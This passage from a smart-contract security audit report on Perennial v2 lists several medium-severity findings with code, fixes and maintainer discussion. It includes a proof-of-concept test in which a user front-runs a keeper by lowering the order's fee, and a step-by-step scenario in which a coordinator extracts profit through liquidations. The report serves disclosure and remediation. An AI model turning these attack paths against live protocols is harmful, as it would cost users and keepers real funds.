The issue is that the `migrate()` function does not perform as expected, and after migration, `PositionStorageGlobal` continues to use the old 2-slot storage layout. It still reads the `maker` value from slot 1, and the `PositionStorageGlobalLib.migrate()` function is ineffective because the `read()` and `store()` functions were never updated to use the new 1-slot storage layout.

Vulnerability Detail

The new storage layout should appear as follows:

```
File: Position.sol
///     struct StoredPositionGlobal {
///         /* slot 0 */
///         uint32 timestamp;
///         uint32 __unallocated__;
///         uint64 maker;
///         uint64 long;
///         uint64 short;
///
///         /* slot 1 */
///         uint64 maker (deprecated);
///         uint192 __unallocated__;
///     }
```

In `PositionStorageGlobalLib.migrate()`, the intended steps are:

1. Read the position, including the new `maker` value from slot 0 via the updated `read()` function.
2. Read the old `maker` value from slot 1 of the `StoredPositionGlobal` version 2.2 storage layout.
3. Ensure that no previous migration has occurred.
4. Transfer the old `maker` value from slot 1 to the new `maker` slot in slot 0.

```
File: Position.sol
    function migrate(PositionStorageGlobal storage self) external {
        Position memory position = read(self);
        uint256 slot1 = self.slot1;
        UFixed6 deprecatedMaker = UFixed6.wrap(uint256(slot1 << (256 - 64)) >> (256 - 64));

        // only migrate if the deprecated maker is set and new maker is unset to avoid double-migration
        if (deprecatedMaker.isZero() || !position.maker.isZero())
            revert PositionStorageLib.PositionStorageInvalidMigrationError();

        position.maker = deprecatedMaker;
        store(self, position);
    }
```

However, these steps are not working as expected because the `read()` and `store()` functions were not updated to reflect the new storage layout. While this does not immediately impact protocol functionality, it means that one of the critical migration steps described in the migration guide will not be executed.

This issue could lead to future errors, where the deprecated `maker` from slot 1 may be incorrectly assumed to be removable, which would render the protocol unusable.

Impact

- Migration from version 2.2 to 2.3 will not occur as expected.
- Future versions may break the protocol due to incorrect assumptions about storage layout.

Code Snippet

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/Position.sol#L307-L318

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/Position.sol#L351-L362
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/Position.sol#L321-L329
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/Position.sol#L331-L349

Tool used

Manual Review

Recommendation

Update the `read()` and `store()` functions in the `PositionStorageGlobalLib` library to reflect the new 1-slot storage layout.

Updated `read()` function:

```
    function read(PositionStorageGlobal storage self) internal view returns
 ↪  (Position memory) {
        (uint256 slot0, uint256 slot1) = (self.slot0, self.slot1);
        return Position(
            uint256(slot0 << (256 - 32)) >> (256 - 32),
-           UFixed6.wrap(uint256(slot1 << (256 - 64)) >> (256 - 64)),
+           UFixed6.wrap(uint256(slot0 << (256 - 32 - 64)) >> (256 - 64)),
-           UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48 - 64)) >> (256 -
 ↪  64)),
+           UFixed6.wrap(uint256(slot0 << (256 - 32 - 32 - 64 - 64)) >> (256 -
 ↪  64)),
-           UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48 - 64 - 64)) >>
 ↪  (256 - 64))
+           UFixed6.wrap(uint256(slot0 << (256 - 32 - 32 - 64 - 64 - 64)) >>
 ↪  (256 - 64))
        );
    }
```

Updated `store()` function:

```
    function store(PositionStorageGlobal storage self, Position memory newValue)
 ↪  public {
        PositionStorageLib.validate(newValue);

        if (newValue.maker.gt(UFixed6.wrap(type(uint64).max))) revert
 ↪  PositionStorageLib.PositionStorageInvalidError();
```

```
        if (newValue.long.gt(UFixed6.wrap(type(uint64).max))) revert
↪   PositionStorageLib.PositionStorageInvalidError();
        if (newValue.short.gt(UFixed6.wrap(type(uint64).max))) revert
↪   PositionStorageLib.PositionStorageInvalidError();

        uint256 encoded0 =
            uint256(newValue.timestamp << (256 - 32)) >> (256 - 32) |
+           uint256(UFixed6.unwrap(newValue.maker) << (256 - 64)) >> (256 - 32 -
↪   32 - 64) |
-           uint256(UFixed6.unwrap(newValue.long) << (256 - 64)) >> (256 - 32 -
↪   48 - 48 - 64) |
+           uint256(UFixed6.unwrap(newValue.long) << (256 - 64)) >> (256 - 32 -
↪   32 - 64 - 64) |
-           uint256(UFixed6.unwrap(newValue.short) << (256 - 64)) >> (256 - 32 -
↪   48 - 48 - 64 - 64);
+           uint256(UFixed6.unwrap(newValue.short) << (256 - 64)) >> (256 - 32 -
↪   32 - 64 - 64 - 64);
-       uint256 encoded1 =
-           uint256(UFixed6.unwrap(newValue.maker) << (256 - 64)) >> (256 - 64);

        assembly {
            sstore(self.slot, encoded0)
-           sstore(add(self.slot, 1), encoded1)
        }
    }
```

It is also advisable to clear the old `maker` in the `migrate()` function:

```
    function migrate(PositionStorageGlobal storage self) external {
        Position memory position = read(self);
        uint256 slot1 = self.slot1;
        UFixed6 deprecatedMaker = UFixed6.wrap(uint256(slot1 << (256 - 64)) >>
↪   (256 - 64));

        // only migrate if the deprecated maker is set and new maker is unset to
↪   avoid double-migration
        if (deprecatedMaker.isZero() || !position.maker.isZero())
            revert PositionStorageLib.PositionStorageInvalidMigrationError();

        position.maker = deprecatedMaker;
+
+       uint256 encoded1;
+       assembly {
+           sstore(add(self.slot, 1), encoded1)
+       }
+
```

```
        store(self, position);
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/442

Issue M-11: TriggerOrder.notionalValue() Using the wrong latestPositionLocal to calculate the value causes the user to overpay fees

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/62

Found by

bin2chen

Summary

When `TriggerOrder` is executed, `notionalValue() * order.interfaceFee.amount` is used to calculate the cost Where `notionalValue()` calculates the price by closing the `position` size The current use of `latestPositionLocal` is wrong, `currentPositionLocal` should be used.

Root Cause

in TriggerOrder.sol#L98

When `TriggerOrder.delta == MAGIC_VALUE_CLOSE_POSITION`, use `_position()` to calculate the number of closed `positions`. `_position()` use: `market.positions(account).maker/long/short`; so use: `latestPositionLocal`

But when the order is actually executed in `market.sol`: `market.update(maker=0)` , `currentPositionLocal` is used to calculate the delta. Market.sol#L235 `delta = | 0 - currentPositionLocal.maker|`

These two values are not the same

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

If `currentPositionLocal` < `latestPositionLocal`, then the user pay more fees.

PoC

No response

Mitigation

```
    function _position(IMarket market, address account, uint8 side) private view
↪   returns (UFixed6) {
        Position memory current = market.positions(account);
+       Order memory pending = market.pendings(account);
+       current.update(pending)
        if (side == 4) return current.maker;
        else if (side == 5) return current.long;
        else if (side == 6) return current.short;
        revert TriggerOrderInvalidError();
    }
```

Discussion

arjun-io

This is valid in that the calculation for the current position might be off, but instead of using the pending and updating, we need to actually calculate the closeable amount.

For example, if there is a current position of 5 long, and a pending open of 10 - passing in the close magic value will only close 5 (not 15). if there is a current position of 5 long, and a pending *close* of 3 - passing in the close magic value will only close 2 (this is not captured by the current logic).

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/equilibria-xyz/perennial-v2/pull/455

panprog

While the fix solves the issue described here (pending position decrease makes fee incorrect), the opposite case is still/now wrong (pending position increase makes fee incorrect / reverts the execution). So example scenario:

- User has position = 100
- User adds trigger order to close position

- User increases position to 150
- Trigger order executes while increase is still pending: it charges a fee of `150 * interfaceFee` and tries to `market.update(0,0,0)`, which reverts, because it tries to decrease full position of 150, but only 100 is closable due to 50 still pending.

To fully fix this one:

- Use `MAGIC_VALUE_FULLY_CLOSED_POSITION` when executing market.update for orders with `delta = MAGIC_VALUE_CLOSE_POSITION`
- For the interface fee - you have to calculate actual closable instead of latest or current position: `closable = latestPosition - pending.neg`

EdNoepel

Pending position increase is not possible with the current implementation.

- The problem with `MAGIC_VALUE_FULLY_CLOSED_POSITION` is that it is only designed to prevent over-closing the position. If we have a position and a pending positive position, it will not actually 0 the position as desired. Created this branch to illustrate the behavior with your recommendation. For this use case, a revert is more desirable.
- The current implementation uses 0 such that closing with a pending positive position will revert instead of silently leaving the position open. This provides more desirable UX/DX. I created this branch to show the only affected unit test is one which reverts as an integration test.

Note that changing the behavior of *Market*'s `MAGIC_VALUE_FULLY_CLOSED_POSITION` seems out-of-scope for this release.

panprog

Ok, got it. So it's a design choice, so there is no issue with it. This issue is fixed then.

Issue M-12: Emptyset reserve strategies may revert when aave/compound supply limit is reached or pool owner pause/froze the pool

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/66

The protocol has acknowledged this issue.

Found by

Oblivionis

Summary

`CompoundV3FiatReserve` and `AaveV3FiatReserve` will interact with aave/compound pool each time new DSU token is minted/redeemed. This creates a single-point of failure. When the call to aave/compound fails, even if DSU protocol exposes only a portion of the risk to aave/compound, users are still unable to withdraw/deposit DSU. Since DSU reserves do not implement a proxy, such risk can be harmful to DSU and perennial protocol.

Root Cause

In `CompoundV3FiatReserve.sol` and `AaveV3FiatReserve.sol`, function `_update()` will push/pull the imbalanced part of fiat token to/from Aave V3 or Compound V3. As almost every DSU mint/Redeem creates the imbalance, `_update()`is called everytime:

```
function _update(UFixed18 collateral, UFixed18 target) internal override {
    if (collateral.gt(target))
        compound.withdraw(fiat, UFixed6Lib.from(collateral.sub(target)));
    if (target.gt(collateral))
        compound.supply(fiat, UFixed6Lib.from(target.sub(collateral)));
}
```

```
function _update(UFixed18 collateral, UFixed18 target) internal virtual override
↪   {
    if (collateral.gt(target))
        aave.withdraw(fiat, UFixed6Lib.from(collateral.sub(target)),
↪   address(this));
    if (target.gt(collateral))
        aave.deposit(fiat, UFixed6Lib.from(target.sub(collateral)),
↪   address(this), 0);
```

```
}
```

However, Such logic creates a single-point of failure: if the call to aave/compound fails, no DSU can get minted and no DSU can get redeemed.

Here are some possible scenarios:

1. Aave v3 and Compound V3 may reach deposit limit: https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/libraries/logic/ValidationLogic.sol#L80-L87 https://github.com/compound-finance/comet/blob/2fc94d987ebd46572da93a3323b67c5d27642b1b/contracts/CometConfiguration.sol#L47

Currently, Aave Ethereum USDT market now accounts for 64.68% of the supply cap, Aave Ethereum USDC market now accounts for 66.98% of the supply cap. When market utilization increases, Aave/Compound users are incentivized to supply into the market, and is possible to reach the supply limit.

2. Aave v3 and Compound V3 may get paused or retired: https://github.com/compound-finance/comet/blob/2fc94d987ebd46572da93a3323b67c5d27642b1b/contracts/Comet.sol#L865 https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/libraries/logic/ValidationLogic.sol#L77

In Nov 2023, Aave paused several markets after reports of feature issue .

Commonly in lending platforms, when a certain token or lending pool has been deemed to be too risky or have been hacked, it is retired. This has happened multiple times in Aave, with some other examples below:

GHST borrowing disabled on polygon agEUR borrowing disabled on polygon UST disabled on Venus protocol on BSC SXP disabled on Venus protocol on BSC TRXOld disabled on Venus protocol on BSC

Internal pre-conditions

No internal pre-conditions

External pre-conditions

Aave governance/admin pause/freeze the pool or aave/compound supply cap reached.

Attack Path

1. Attacker can make proposals to aave/compound governance.
2. Whales can DoS DSU protocol by deposit into aave/compound to reach the supply cap.

3. Aave/compound markets may retire and a new one can be deployed. However DSU reserve contracts are immutable.

Impact

Emptyset reserve strategies can be a single-point of failure.

1. Aave/compound governance can DoS DSU protocol, which efficiently DoS perennial protocol because no DSU can be minted and redeemed.
2. When aave/compound supply cap is reached, DSU protocol will suffer a DoS.
3. All related perennial accounts cannot work normally.

PoC

No need.

Mitigation

Consider set `_update` in a try-catch block, and add a way for Admin/Coordinator to mannually rebalance reserves.

Issue M-13: The `RiskParameter.liquidationFee` variable is not treated and validated as a percentage value, leading to breaking protocol invariants.

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/69

Found by

eeyore

Summary

In Perennial v2.2, the `RiskParameter.liquidationFee` variable held a fixed amount. In Perennial v2.3, it became a percentage value. However, this change is not fully reflected in the code.

In `RiskParameterStorageLib`, it is incorrectly validated and compared to fixed values from the `ProtocolParameter` struct, leading to incorrect assumptions, particularly regarding the protocol-wide `maxFeeAbsolute` setting, as well as per-market `minMaintenance` values.

Vulnerability Detail

As stated in the README in the section, *"Please list any known issues and explicitly state the acceptable risks for each known issue."*:

```
Coordinators are given broad control over the parameters of the markets they
↪  coordinate. The protocol parameter is designed to prevent situations where
↪  parameters are set to maliciously steal funds. If the coordinator can
↪  operate within the bounds of reasonable protocol parameters to negatively
↪  affect markets, we would like to know about it.
```

There is theoretically no limitation on the `liquidationFee` value. The liquidation fee that can be paid by the account can exceed the `maxFeeAbsolute` value, breaking assumptions and negatively affecting the markets.

For example, if the `maxFeeAbsolute` value is set to $50, then the `liquidationFee` can be up to 5000% of the settlement fee, calculated using this equation:

```
File: VersionLib.sol
246:     function _accumulateLiquidationFee(
247:         Version memory next,
248:         VersionAccumulationContext memory context
```

```
249:     ) private pure returns (UFixed6 liquidationFee) {
250:         liquidationFee = context.toOracleVersion.valid ?
251:@>           context.toOracleReceipt.settlementFee.mul(context.riskParameter.liquidationFee) :
252:             UFixed6Lib.ZERO;
```

Here are the places where the `liquidationFee` percentage value is incorrectly validated against fixed values:

```
File: RiskParameter.sol
139:         if (self.liquidationFee.gt(protocolParameter.maxFeeAbsolute)) revert RiskParameterStorageInvalidError();
```

```
File: RiskParameter.sol
155:         if (self.minMaintenance.lt(self.liquidationFee)) revert RiskParameterStorageInvalidError();
```

Impact

- Coordinators can negatively affect markets while operating within the bounds of reasonable protocol parameters.

Code Snippet

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L32-L33
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L139
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L155
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/libs/VersionLib.sol#L250-L252

Tool Used

Manual Review

Recommendation

The protocol-wide `maxFeeAbsolute` value needs to be enforced across the markets. The `liquidationFee` should be validated as a percentage value.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/459

panprog

The fix has removed the requirement of `minMaintenance >= liquidationFee`, which opens up the following attack scenario for the Coordinator:

- set `minMaintenance = minMargin = 0`
- set `liquidationFee = protocol.maxLiquidationFee`, settlement
- open a lot of tiny positions with collateral at almost 0 + settlement fee
- either wait or intentionally make positions liquidatable and liquidate them, getting the liquidation fee, which is higher than settlement fee used to open it, so it's profitable
- all tiny position accounts are in bad debt due to liquidation fee being higher than their remaining collateral.

Recommendation: add the requirement for minMaintenance. Not sure if the settlement fee is available at that point (in risk parameter validation), if not, then introduce a minMaintenance and/or minMargin protocol parameter.

arjun-io

Thanks for outlining this attack vector @panprog - we're going to skip the fix for this malicious coordinator case for this audit but we'll circle back on it for future updates.

Issue M-14: Keepers can lose compensation fee

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/79

Found by

Nyx

Summary

Vulnerability Detail

When the keeper fulfills the order, they receive a compensation fee from the order owner. The user specifies a maxFee in the order. The _handleKeeperFee function calculates the fee for the compensation, and the keeper receives the lesser of the calculated fee or the maxFee set by the user.

```
function _raiseKeeperFee(
        UFixed18 amount,
        bytes memory data
    ) internal virtual override returns (UFixed18) {
        (IMarket market, address account, UFixed6 maxFee) = abi.decode(data,
 ↪  (IMarket, address, UFixed6));
        UFixed6 raisedKeeperFee = UFixed6Lib.from(amount, true).min(maxFee);

        _marketWithdraw(market, account, raisedKeeperFee);

        return UFixed18Lib.from(raisedKeeperFee);
    }
```

The problem is that the user can front-run the keepers' tx and change the maxFee to 0 to grief the keeper.

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial-order/contracts/Manager.sol#L76-L78

```
function placeOrder(IMarket market, uint256 orderId, TriggerOrder calldata
 ↪  order) external {
        _placeOrder(market, msg.sender, orderId, order);

    }
```

The user can call the placeOrder function using the same orderId as before and modify the order with a lower maxFee amount.

Impact

The keeper can lose a fee.

Code Snippet

POC:

Manager_Arbitrum.ts

```
it('test maxFee', async () => {
      // userA places a 5k maker order
      // maxFee is 0.88e18
      const orderId = await placeOrder(userA, Side.MAKER, Compare.LTE,
↪   parse6decimal('3993.6'), parse6decimal('55'))
      expect(orderId).to.equal(BigNumber.from(501))

      const order = {
        side: Side.MAKER,
        comparison: Compare.LTE,
        price: parse6decimal('3993.6'),
        delta: parse6decimal('55'),
        maxFee: utils.parseEther('0'),
        isSpent: false,
        referrer: constants.AddressZero,
        ...NO_INTERFACE_FEE,
      }
      //before the keepers tx, userA changes the maxFee
      await expect(manager.connect(userA).placeOrder(market.address, orderId,
↪   order, TX_OVERRIDES))

      await commitPrice(parse6decimal('2800'))

      await executeOrder(userA, 501)
    })
```

Tool used

Manual Review

Recommendation

Add a minimum fee parameter to the executeOrder function to ensure that the compensation fee is not less than what keepers want.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/equilibria-xyz/perennial-v2/pull/453

panprog

Fix review:

Still not fixed. The order's `maxFee` can still be reduced, because the check only requires a different fee if previous order is not empty. The user can easily bypass this check by placing order with the same orderId twice in the same transaction:

- place empty order with the same maxFee as old order. The order is considered empty if `side=comparison=price=delta=0`, so `maxFee` can remain the same to successfully replace it.
- place "old" order with smaller fee

EdNoepel

How would they empty the previous order though? An attempt to replace with an empty order with same maxFee would revert with `TriggerOrderInvalidError`. Example unit test: https://github.com/equilibria-xyz/perennial-v2/commit/86ee6d9a67e0e7c14aaa6708f71185f168b37b56

panprog

@EdNoepel Sorry, my bad, didn't check that `store` validates this. It's fixed then.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.